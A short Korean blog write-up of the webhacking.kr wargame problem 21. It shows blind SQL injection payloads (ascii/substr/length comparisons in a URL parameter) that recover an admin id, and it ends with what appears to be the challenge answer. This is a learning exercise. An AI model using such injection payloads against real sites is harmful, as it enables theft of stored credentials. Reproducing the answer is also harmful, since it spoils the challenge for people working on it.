티스토리 뷰
webhacking.kr 21번 문제 : blind sql injection
1을 누르고 제출해보니 URL에 no=1&&id=&&pw= 가 나왔다.
id하고 pw를 이용하여 생각해보면 된다. 단순히 이런 컬럼이 있다는 것을 암시해주는 것 같았다.
인터넷을 뒤져보다가 blind sql injection은 substr, ascii, length 함수를 이용하라고 나와있었따.
ascii(substr(id,1,1))=97
위의 문장은 id값 첫번째 중에서 하나를 잘라서 97('a') 가 있는지 확인하는 구문이다. 있으면 True 없으면 False
해보면 알겠지만
no = 1 // guest
no = 2 // admin 이다.
URL에다가 %26 --> & 이다 %26%26 --> && (and 조건 연산)
no=2%26%26ascii(substr(id,1,1))=97 ---> admin True
no=2%26%26ascii(substr(id,2,1))=100 ---> admin True
no=2%26%26ascii(substr(id,3,1))=109 ---> admin True
no=2%26%26ascii(substr(id,4,1))=105 ---> admin True
no=2%26%26ascii(substr(id,5,1))=110 ---> admin True
no=2%26%26length(id)=5 --> True 가 나올 것이다.
위와 같이 pw도 찾아내면 된다
1. 우선 pw의 길이를 알아낸 다음에
2. 위와 같이 하나하나 씩 알파벳을 찾아내면 된다^^(좀 시간이 걸리겠지만..ㅡ.ㅡ)
그리고 찾아낸 패스워드를 Auth 게시판가서 인증하면 클리어~
blindsqlinjectionkk